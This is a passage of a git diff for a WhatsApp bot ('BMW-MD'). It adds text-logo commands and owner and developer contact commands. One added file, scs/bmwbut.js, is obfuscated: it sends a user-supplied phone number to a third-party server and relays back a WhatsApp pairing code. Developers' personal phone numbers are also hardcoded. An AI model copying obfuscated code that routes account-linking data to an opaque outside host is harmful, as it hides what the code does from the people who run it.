+ repondre("🥵🥵 " + e);
+ }
+});
+adams({ nomCom: "dragonball", categorie: "Logo", reaction: "🐉" }, async (dest, zk, commandeOptions) => {
+ let { arg, repondre, prefixe, ms } = commandeOptions;
+ try {
+ const noArgMsg = `*_EXEMPLE *: ${prefixe}dragonball Ibrahim adams`;
+ // if(arg=='') {await zok.sendMessage(dest,{text:noArgMsg},{quoted:infoMessage}); return;}
+ if (arg == '' || !arg) {
+ repondre(noArgMsg);
+ return;
+ }
+ var lienMaker = "https://ephoto360.com/tao-hieu-ung-chu-phong-cach-dragon-ball-truc-tuyen-1000.html";
+ var lienMaker2 = "https://en.ephoto360.com/create-dragon-ball-style-text-effects-online-809.html";
+
+
+ const imgInfo = await mumaker.ephoto(lienMaker2, arg.join(' '));
+
+ await zk.sendMessage(dest, { text: " *\t Traitement en cours ...*" }, { quoted: ms });
+ // var idImg = Object.values(imgInfo)[3];
+
+ await zk.sendMessage(dest, { image: { url: imgInfo.image }, caption: "* \t Logo by Bmw-Md*" }, { quoted: ms });
+ }
+ catch (e) {
+ repondre("🥵🥵 " + e);
+ }
+});
+////////////////////////////
+adams({ nomCom: "naruto", categorie: "Logo", reaction: "⛩" }, async (dest, zk, commandeOptions) => {
+ let { ms, arg, repondre, prefixe } = commandeOptions;
+ try {
+ if (!arg || arg == '') {
+ repondre("*_Exemple : * " + prefixe + "naruto ibrahim");
+ return;
+ }
+ var nar = "https://en.ephoto360.com/naruto-shippuden-logo-style-text-effect-online-808.html";
+ //let img= await //mumaker.textpro('https://textpro.me/create-naruto-logo-style-text-effect-online-1125.html',arg);
+ repondre("*traitement en cours...*");
+ var radio2 = "e0723d60-fc0d-421f-bf8f-a9b9b61e4be6";
+ var img = await mumaker.ephoto("https://en.ephoto360.com/naruto-shippuden-logo-style-text-effect-online-808.html", arg.join(' '));
+
+ await zk.sendMessage(dest, { image: { url: img.image }, caption: "\t\t *Logo by Bmw-md*" }, { quoted: ms });
+ }
+ catch (e) {
+ repondre("🥵🥵 " + e);
+ }
+});
+//didong
+/*zokou({ nomCom: "didong", categorie: "Logo", reaction: "📱" }, async (dest, zk, commandeOptions) => {
+ let { ms, repondre, arg, prefixe } = commandeOptions;
+
+ var titre = "\t logo by Bmw-Md";
+ try {
+ var lien = "https://ephoto360.com/tao-anh-che-vui-tu-choi-cuoc-goi-voi-ten-cua-ban-930.html";
+ if (!arg || arg == "") {
+ repondre(`*exemple :* ${prefixe}didong Zokou`)
+ return ;
+ }
+ console.log(typeof arg[0])
+ var maker = mumaker.ephoto(lien, "arg");
+ var lienImg = Object.values(maker)[1];
+ await zk.sendMessage(dest, { image: { url: lienImg }, caption: titre });
+ }
+ catch (e) {
+ repondre("🥵🥵 " + e);
+ }
+});
+*/
+
+
+adams({ nomCom: "didong", categorie: "Logo", reaction: "📱" }, async (dest, zk, commandeOptions) => {
+ let { arg, repondre, prefixe, ms } = commandeOptions;
+ try {
+ var titre = "\t* logo by Bmw-Md*";
+ var lien = "https://ephoto360.com/tao-anh-che-vui-tu-choi-cuoc-goi-voi-ten-cua-ban-930.html";
+ if (!arg || arg == "") {
+ repondre(`*exemple :* ${prefixe}didong ibrahim adams`)
+ return ;
+ }
+
+ var maker =await mumaker.ephoto(lien,arg.join(' '));
+
+
+ repondre('*processing...*')
+ await zk.sendMessage(dest, { image: { url: maker.image}, caption: titre });
+ }
+ catch (e) {
+ repondre("🥵🥵 " + e);
+ }
+ }
+);
+
+
+adams({nomCom : "wall",categorie : "Logo",reaction : "👍"} , async (dest,zk,commandeOptions) =>{
+
+ const {arg,repondre,ms,prefixe} = commandeOptions;
+ if(!arg[0]) { repondre( `Exemple of using commande:\n ${prefixe}wall BMW-MD` ); return ;}
+ let text = arg.join(" ")
+ mumaker.textpro("https://textpro.me/break-wall-text-effect-871.html", text)
+.then((data) =>{
+ zk.sendMessage(dest,{image : { url : data.image},caption : 'Logo by'},{quoted:ms})
+})
+.catch(console.log)
+})
+
+;
+adams({nomCom: "summer", categorie: "Logo", reaction: "🌞"}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre, ms, prefixe } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}summer My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-sunset-light-text-effects-online-for-free-1124.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by' }, { quoted: ms });
+ })
+ .catch(console.error);
+});
+
+adams({nomCom: "neonlight", categorie: "Logo", reaction: "💡"}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre, ms, prefixe } = commandeOptions;
+ /*if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}neonlight My text`);
+ return;
+ }*/
+ if(!arg ||arg=="")
+ {
+ repondre(`Exemple of using commande:\n ${prefixe}neonlight My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ try{
+
+ let maker=await mumaker.textpro("https://textpro.me/create-glowing-neon-light-text-effect-online-free-1061.html",arg)
+ //repondre(stringify(maker))
+ /*.then((data) => {*/
+ zk.sendMessage(dest, { image: { url: maker.image }, caption: 'Logo by Bmw-md' }, { quoted: ms });
+
+ /*.catch(console.error);*/
+
+
+}catch(e){repondre("🥵🥵 "+e)}
+
+});
+
+adams({nomCom: "greenneon", categorie: "Logo", reaction: "🟢"}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre, ms, prefixe } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}greenneon My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/green-neon-text-effect-874.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by' }, { quoted: ms });
+ })
+ .catch(console.error);
+});
+
+adams({nomCom: "glitch", categorie: "Logo", reaction: "🎛️"}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre, ms, prefixe } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}glitch My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-impressive-glitch-text-effects-online-1027.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch(console.error);
+});
+
+adams({nomCom: "devil", categorie: "Logo", reaction: "😈"}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre, ms, prefixe } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}devil My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-neon-devil-wings-text-effect-online-free-1014.html",arg)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch(console.error);
+});
+////////////////////
+adams(
+ {nomCom:"boom",categorie:
+ "Logo",reaction:"💥"},async(dest,zk,commandeOptions)=>{
+
+ let {ms,repondre,prefixe,arg}=commandeOptions;
+
+ if(!arg||arg=="")
+ {
+
+ repondre(` Exemple :* ${prefixe}boom Beltah`)
+ return ;
+ }
+ try{
+ var radio2 = "e0723d60-fc0d-421f-bf8f-a9b9b61e4be6";
+ let radio = "984dd03e-220d-4335-a6ba-7ac56b092240";
+var lien="https://en.ephoto360.com/boom-text-comic-style-text-effect-675.html";
+ console.log(arg)
+ var img =await mumaker.ephoto(lien,arg)
+
+ //var idImg = Object.values(img)[3];
+ // var lienImage = "https://e1.yotools.net/" + idImg;
+
+ /* let radio = "984dd03e-220d-4335-a6ba-7ac56b092240";
+ var v="https://en.ephoto360.com/boom-text-comic-style-text-effect-675.html";
+ var c="https://en.ephoto360.com/create-anonymous-hacker-avatars-cyan-neon-677.html"
+ let anu = await mumaker.ephoto4(v, arg, radio);
+ let res = Object.values(anu)[3];*/
+ // console.log("&€"+res);
+ // let lien = "https://e1.yotools.net" + res;
+
+
+repondre(" processing ...")
+ await zk.sendMessage(dest,{image:{url:img.image},caption:"\t *Logo by bmw-Md*"})
+
+ // await zk.sendMessage(dest,{image:{url:lienImage},caption:"\t *Logo by Bmw-Md*"})
+
+
+
+ }catch(e){repondre("🥵🥵 "+e)}
+
+ }
+)
+//water
+adams({nomCom:"water",categorie:"Logo",reation:"💦"},async(dest,zk,commandeOptions)=>{
+
+
+var {ms,repondre,arg,prefixe}=commandeOptions;
+ if(!arg||arg=="")
+ {
+ repondre(`${prefixe}water zokou`)
+ return;
+ }
+ try{
+ var lien ="https://en.ephoto360.com/create-water-effect-text-online-295.html";
+ var img =await mumaker.ephoto(lien,arg);
+ repondre(" processing ...")
+ await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bmw-Md*"})
+ }catch(e){repondre(`🥵🥵 ${e}`)}
+
+});
+
+adams({ nomCom: "snow", categorie: "Logo", reaction: "❄️" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}Snow My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-beautiful-3d-snow-text-effect-online-1101.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+adams({ nomCom: "transformer", categorie: "Logo", reaction: "🤖" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}Transformer My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-a-transformer-text-effect-online-1035.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+adams({ nomCom: "thunder", categorie: "Logo", reaction: "⚡" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}Thunder My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/online-thunder-text-effect-generator-1031.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+adams({ nomCom: "harrypotter", categorie: "Logo", reaction: "🧙♂️" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}HarryPotter My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-harry-potter-text-effect-online-1025.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+adams({ nomCom: "cat", categorie: "Logo", reaction: "🪟" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}FoggyWindow My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/write-text-on-foggy-window-online-free-1015.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+
+
+adams({ nomCom: "whitegold", categorie: "Logo", reaction: "💫" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}WhiteGold My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/elegant-white-gold-3d-text-effect-online-free-1070.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+adams({ nomCom: "lightglow", categorie: "Logo", reaction: "🌟" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}LightGlow My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-light-glow-sliced-text-effect-online-1068.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+adams({ nomCom: "thor", categorie: "Logo", reaction: "🔨" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}Thor My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-thor-logo-style-text-effect-online-1064.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+adams({ nomCom: "neon", categorie: "Logo", reaction: "💡" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}Neon My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/neon-text-effect-online-879.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+
+
+adams({nomCom:"purple",categorie:"Logo",reaction:"🧳"},async(dest,zk,commandeOptions)=>{
+ var {ms,repondre,prefixe,arg}=commandeOptions;
+
+ try{
+ if(!arg||arg=="")
+ {
+ repondre(prefixe+"purple zokou");return;}
+ const lien="https://en.ephoto360.com/purple-text-effect-online-100.html"
+ var img = await mumaker.ephoto(lien,arg);
+ repondre(" processing ...")
+ await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bmw-MD*"});
+ }catch(e){repondre(e)}
+
+})
+
+adams({nomCom:"gold",categorie:"Logo",reaction:"🧚🏿♀️"},async(dest,zk,commandeOptions)=>{
+
+
+ let {ms,arg,prefixe,repondre}=commandeOptions;
+ try{
+ if(!arg||arg=="")
+ {
+ repondre(prefixe+"gold Bmw-MD");return;
+ }
+
+ var lien="https://en.ephoto360.com/modern-gold-4-213.html";
+
+ var img = await mumaker.ephoto(lien,arg);
+ repondre("processing ...")
+ await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bwm-Md*"},{quoted:ms})
+ }catch(e){repondre(e)}
+})
+
+
+adams({nomCom:"arena",categorie:"Logo",reaction:"🥵"},async(dest,zk,commandeOptions)=>{
+
+
+ let {ms,arg,prefixe,repondre}=commandeOptions;
+ try{
+ if(!arg||arg=="")
+ {
+ repondre(prefixe+"arena Bmw-MD");return;
+ }
+
+ var lien="https://en.ephoto360.com/create-cover-arena-of-valor-by-mastering-360.html";
+
+ var img = await mumaker.ephoto(lien,arg.join(' '));
+ repondre("processing ...")
+ await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bwm-Md*"},{quoted:ms})
+ }catch(e){repondre(e)}
+})
+
+adams({nomCom:"incandescent",categorie:"Logo",reaction:"😋"},async(dest,zk,commandeOptions)=>{
+
+
+ let {ms,arg,prefixe,repondre}=commandeOptions;
+ try{
+ if(!arg||arg=="")
+ {
+ repondre(prefixe+"incandescent Bmw-MD");return;
+ }
+
+ var lien="https://en.ephoto360.com/text-effects-incandescent-bulbs-219.html";
+
+ var img = await mumaker.ephoto(lien,arg.join(' '));
+ repondre("processing ...")
+ await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bmw-Md*"},{quoted:ms})
+ }catch(e){repondre(e)}
+})
diff --git a/scs/bmwbut.js b/scs/bmwbut.js
new file mode 100644
index 0000000..a95af47
--- /dev/null
+++ b/scs/bmwbut.js
@@ -0,0 +1,2 @@
+function _0x234a(_0x3bb2ff,_0x3a4ce0){const _0x528b7c=_0x528b();return _0x234a=function(_0x234a91,_0x38596a){_0x234a91=_0x234a91-0x15a;let _0x5d9489=_0x528b7c[_0x234a91];return _0x5d9489;},_0x234a(_0x3bb2ff,_0x3a4ce0);}const _0x4ec482=_0x234a;function _0x528b(){const _0x53ffcc=['NativeFlowMessage','https://www.youtube.com/@ibrahimaitech','https://ibraah-adams-432q.onrender.com/code?number=','10XIZehv','245356mOPdzL','cta_url','https://github.com/devibraah/BWM-XMD','26168XKmTtg','stringify','Body','741846iTYVZW','https://bmw-md-web-by-ibrahim.vercel.app/','⭕\x20FOLLOW\x20WACHANNEL','25830MXrvEh','473298aXsMKV','ibraah1','Analyzing\x20ibraah\x20info.....','☕\x20BUY\x20ME\x20A\x20COFFEE','message','1344393nswWCB','axios','get','User','Header','ibraah','🎬\x20MOVIES','462arEgsY','*\x0a│\x20ᴅᴇᴠ:\x20*sɪʀ\x20ɪʙʀᴀʜɪᴍ*\x0a╰─────═━┈┈━═──━┈⊷','\x20*Made\x20by\x20Ibrahim\x20Adams*','Error\x20getting\x20response\x20from\x20Api.','create','💢\x20YOUTUBE','https://t.me/ibrahimtechai','Footer','30CxWEOu','InteractiveMessage','https://t.me/ibraahadams','😎\x20CONTACT\x20ME','\x0a╭─────═━┈┈━═──━┈⊷\x0a│\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a│\x20ᴠᴇʀꜱɪᴏɴ:\x20*7.1.8*\x0a│\x20ᴄʏᴘ:\x20*','../Ibrahim/traduction','https://ibrahim-adams.vercel.app','relayMessage','Error\x20getting\x20Api\x20response:','https://www.instagram.com/ibrahimadamstech','🌍\x20INSTAGRAM','📂\x20REPO','code','Message','Invalid\x20response\x20from\x20Api.','../Ibrahim/adams','length','Type\x20.ibraah\x201','50709gLQJJN','@whiskeysockets/baileys','Type\x20*.ibraah\x201*'];_0x528b=function(){return _0x53ffcc;};return _0x528b();}(function(_0x3b5468,_0x1245a4){const _0x368d34=_0x234a,_0x11dc8b=_0x3b5468();while(!![]){try{const _0x69edaa=-parseInt(_0x368d34(0x180))/0x1+parseInt(_0x368d34(0x190))/0x2+-parseInt(_0x368d34(0x18d))/0x3+-parseInt(_0x368d34(0x187))/0x4*(-parseInt(_0x368d34(0x186))/0x5)+parseInt(_0x368d34(0x15a))/0x6+-parseInt(_0x368d34(0x166))/0x7*(parseInt(_0x368d34(0x18a))/0x8)+-parseInt(_0x368d34(0x15f))/0x9*(-parseInt(_0x368d34(0x16e))/0xa);if(_0x69edaa===_0x1245a4)break;else _0x11dc8b['push'](_0x11dc8b['shift']());}catch(_0x304015){_0x11dc8b['push'](_0x11dc8b['shift']());}}}(_0x528b,0x244fa));const {adams}=require(_0x4ec482(0x17d)),traduire=require(_0x4ec482(0x173)),{default:axios}=require(_0x4ec482(0x160)),pkg=require(_0x4ec482(0x181)),{generateWAMessageFromContent,proto}=pkg;adams({'nomCom':_0x4ec482(0x164),'reaction':'😎','categorie':_0x4ec482(0x162)},async(_0x2b1f8a,_0x18719b,_0x386863)=>{const _0x391b37=_0x4ec482,{repondre:_0x27fe92,arg:_0x5b0c50,ms:_0x44fdc3}=_0x386863;try{if(!_0x5b0c50||_0x5b0c50[_0x391b37(0x17e)]===0x0)return _0x27fe92('Type\x20*.ibraah\x201*');await _0x27fe92(_0x391b37(0x15c));const _0x4c5d12=encodeURIComponent(_0x5b0c50['join']('\x20')),_0x550e56=_0x391b37(0x185)+_0x4c5d12,_0x4c5f43=await axios[_0x391b37(0x161)](_0x550e56),_0x5cce19=_0x4c5f43['data'];if(_0x5cce19&&_0x5cce19['code']){const _0x24391b=_0x5cce19[_0x391b37(0x17a)],_0x19707b=_0x391b37(0x172)+_0x24391b+_0x391b37(0x167),_0x3d18c3=[{'name':'cta_url','buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'🌍\x20BMW\x20WEB','url':_0x391b37(0x18e)})},{'name':'cta_url','buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'✅\x20SESSION','url':_0x391b37(0x174)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x179),'url':_0x391b37(0x189)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x391b37(0x15d),'url':_0x391b37(0x189)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'🌍\x20INSTAGRAM','url':_0x391b37(0x177)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x16b),'url':_0x391b37(0x184)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x165),'url':_0x391b37(0x16c)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'😎\x20CONTACT\x20ME','url':_0x391b37(0x170)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x18f),'url':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y'})}],_0x5d65ae=generateWAMessageFromContent(_0x2b1f8a,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x391b37(0x17b)]['InteractiveMessage'][_0x391b37(0x16a)]({'body':proto[_0x391b37(0x17b)][_0x391b37(0x16f)][_0x391b37(0x18c)][_0x391b37(0x16a)]({'text':_0x19707b}),'footer':proto['Message'][_0x391b37(0x16f)][_0x391b37(0x16d)][_0x391b37(0x16a)]({'text':_0x391b37(0x168)}),'header':proto[_0x391b37(0x17b)][_0x391b37(0x16f)][_0x391b37(0x163)][_0x391b37(0x16a)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x391b37(0x17b)][_0x391b37(0x16f)]['NativeFlowMessage'][_0x391b37(0x16a)]({'buttons':_0x3d18c3})})}}},{});await _0x18719b[_0x391b37(0x175)](_0x2b1f8a,_0x5d65ae[_0x391b37(0x15e)],{'messageId':_0x5d65ae['key']['id']});}else throw new Error(_0x391b37(0x17c));}catch(_0x4f61ec){console['error'](_0x391b37(0x176),_0x4f61ec[_0x391b37(0x15e)]),_0x27fe92(_0x391b37(0x169));}}),adams({'nomCom':_0x4ec482(0x15b),'reaction':'🚘','categorie':_0x4ec482(0x162)},async(_0x2552bb,_0x1e6649,_0x1a20fe)=>{const _0x5792e1=_0x4ec482,{repondre:_0x3c48b,arg:_0x426199,ms:_0x53da5a}=_0x1a20fe;try{if(!_0x426199||_0x426199[_0x5792e1(0x17e)]===0x0)return _0x3c48b(_0x5792e1(0x182));await _0x3c48b(_0x5792e1(0x15c));const _0x4a3b71=encodeURIComponent(_0x426199['join']('\x20')),_0x149caa=_0x5792e1(0x185)+_0x4a3b71,_0x4994bf=await axios[_0x5792e1(0x161)](_0x149caa),_0x58e8cd=_0x4994bf['data'];if(_0x58e8cd&&_0x58e8cd[_0x5792e1(0x17a)]){const _0xdc7547=_0x58e8cd[_0x5792e1(0x17a)],_0x774441=_0x5792e1(0x172)+_0xdc7547+_0x5792e1(0x167),_0x5d157c=[{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':'🌍\x20BMW\x20WEB','url':_0x5792e1(0x18e)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':'✅\x20SESSION','url':_0x5792e1(0x174)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x179),'url':_0x5792e1(0x189)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x15d),'url':_0x5792e1(0x189)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x178),'url':_0x5792e1(0x177)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x16b),'url':_0x5792e1(0x184)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x165),'url':_0x5792e1(0x16c)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x5792e1(0x171),'url':_0x5792e1(0x170)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x5792e1(0x18f),'url':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y'})}],_0x4ba821=generateWAMessageFromContent(_0x2552bb,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x5792e1(0x17b)][_0x5792e1(0x16f)]['create']({'body':proto['Message']['InteractiveMessage'][_0x5792e1(0x18c)][_0x5792e1(0x16a)]({'text':_0x774441}),'footer':proto[_0x5792e1(0x17b)]['InteractiveMessage'][_0x5792e1(0x16d)]['create']({'text':'\x20*Made\x20by\x20Ibrahim\x20Adams*'}),'header':proto[_0x5792e1(0x17b)][_0x5792e1(0x16f)][_0x5792e1(0x163)][_0x5792e1(0x16a)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x5792e1(0x17b)]['InteractiveMessage'][_0x5792e1(0x183)]['create']({'buttons':_0x5d157c})})}}},{});await _0x1e6649['relayMessage'](_0x2552bb,_0x4ba821['message'],{'messageId':_0x4ba821['key']['id']});}else throw new Error(_0x5792e1(0x17f));}catch(_0x1ff971){console['error'](_0x5792e1(0x17f),_0x1ff971[_0x5792e1(0x15e)]),_0x3c48b(_0x5792e1(0x17f));}});
+
diff --git a/scs/bmwbutton.js b/scs/bmwbutton.js
new file mode 100644
index 0000000..b28b04f
--- /dev/null
+++ b/scs/bmwbutton.js
@@ -0,0 +1,3 @@
+
+
+
diff --git a/scs/bmwc.js b/scs/bmwc.js
new file mode 100644
index 0000000..00a7fc3
--- /dev/null
+++ b/scs/bmwc.js
@@ -0,0 +1,103 @@
+
+
+const { adams } = require("../Ibrahim/adams");
+const {getAllSudoNumbers,isSudoTableNotEmpty} = require("../lib/sudo")
+const conf = require("../config");
+
+adams({ nomCom: "owner", categorie: "General", reaction: "🚘" }, async (dest, zk, commandeOptions) => {
+ const { ms , mybotpic } = commandeOptions;
+
+ const thsudo = await isSudoTableNotEmpty()
+
+ if (thsudo) {
+ let msg = `*My Super-User*\n
+ *Owner Number*\n :
+- 🌟 @${conf.NUMERO_OWNER}
+
+------ *other sudos* -----\n`
+
+ let sudos = await getAllSudoNumbers()
+
+ for ( const sudo of sudos) {
+ if (sudo) { // Vérification plus stricte pour éliminer les valeurs vides ou indéfinies
+ sudonumero = sudo.replace(/[^0-9]/g, '');
+ msg += `- 💼 @${sudonumero}\n`;
+ } else {return}
+
+ } const ownerjid = conf.NUMERO_OWNER.replace(/[^0-9]/g) + "@s.whatsapp.net";
+ const mentionedJid = sudos.concat([ownerjid])
+ console.log(sudos);
+ console.log(mentionedJid)
+ zk.sendMessage(
+ dest,
+ {
+ image : { url : mybotpic() },
+ caption : msg,
+ mentions : mentionedJid
+ }
+ )
+ } else {
+ const vcard =
+ 'BEGIN:VCARD\n' + // metadata of the contact card
+ 'VERSION:3.0\n' +
+ 'FN:' + conf.OWNER_NAME + '\n' + // full name
+ 'ORG:undefined;\n' + // the organization of the contact
+ 'TEL;type=CELL;type=VOICE;waid=' + conf.NUMERO_OWNER + ':+' + conf.NUMERO_OWNER + '\n' + // WhatsApp ID + phone number
+ 'END:VCARD';
+ zk.sendMessage(dest, {
+ contacts: {
+ displayName: conf.OWNER_NAME,
+ contacts: [{ vcard }],
+ },
+ },{quoted:ms});
+ }
+});
+
+adams({ nomCom: "dev", categorie: "General", reaction: "🚘" }, async (dest, zk, commandeOptions) => {
+ const { ms, mybotpic } = commandeOptions;
+
+ const devs = [
+ { nom: "Ibrahim", numero: "254710772666" },
+ { nom: "᚛Baraka᚜", numero: "255762190568" },
+ { nom: "Beltah", numero: "254114141192" },
+ // Ajoute d'autres développeurs ici avec leur nom et numéro
+ ];
+
+ let message = "WELCOME TO BMW HELP CENTER! ASK FOR HELP FROM ANY OF THE DEVELOPERS BELOW:\n\n";
+ for (const dev of devs) {
+ message += `----------------\n• ${dev.nom} : https://wa.me/${dev.numero}\n`;
+ }
+ var lien = mybotpic()
+ if (lien.match(/\.(mp4|gif)$/i)) {
+ try {
+ zk.sendMessage(dest, { video: { url: lien }, caption:message }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+// Vérification pour .jpeg ou .png
